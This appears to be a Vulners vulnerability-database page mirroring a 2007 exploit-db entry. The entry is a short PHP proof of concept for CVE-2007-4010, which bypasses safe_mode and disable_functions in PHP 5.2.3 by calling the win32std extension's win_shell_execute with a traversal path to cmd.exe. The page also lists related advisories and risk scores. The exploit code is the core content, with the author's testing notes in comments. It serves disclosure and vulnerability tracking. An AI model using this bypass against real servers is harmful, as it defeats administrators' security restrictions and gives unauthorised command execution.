Lucene search
+L

PHP 5.2.3 Win32std - 'win_shell_execute' Safe Mode / disable_functions Bypass

🗓️ 24 Jul 2007 00:00:00Reported by shinnaiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 41 Views

PHP 5.2.3 Win32std extension bypasses 'safe_mode' and 'disable_functions' to execute cmd.ex

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2007-4010
26 Jul 200700:00
cve
cvelist
Cvelist
CVE-2007-4010
26 Jul 200700:00
cvelist
euvd
EUVD
EUVD-2007-3994
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-4010
26 Jul 200700:30
nvd
openvas
OpenVAS
PHP < 5.2.4 Multiple Vulnerabilities
17 Aug 202000:00
openvas
nessus
Tenable Nessus
PHP < 5.2.4 Multiple Vulnerabilities
3 Sep 200700:00
nessus
prion
Prion
Command injection
26 Jul 200700:30
prion
ubuntucve
UbuntuCve
CVE-2007-4010
26 Jul 200700:30
ubuntucve
<?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//Thanks to rgod for all his precious advises :)

//I set php.ini in this way:
//safe_mode = On
//disable_functions = system
//if you launch the exploit from the cli, cmd.exe will be wxecuted
//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager

if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>

# milw0rm.com [2007-07-24]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Feb 2020 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.05531
41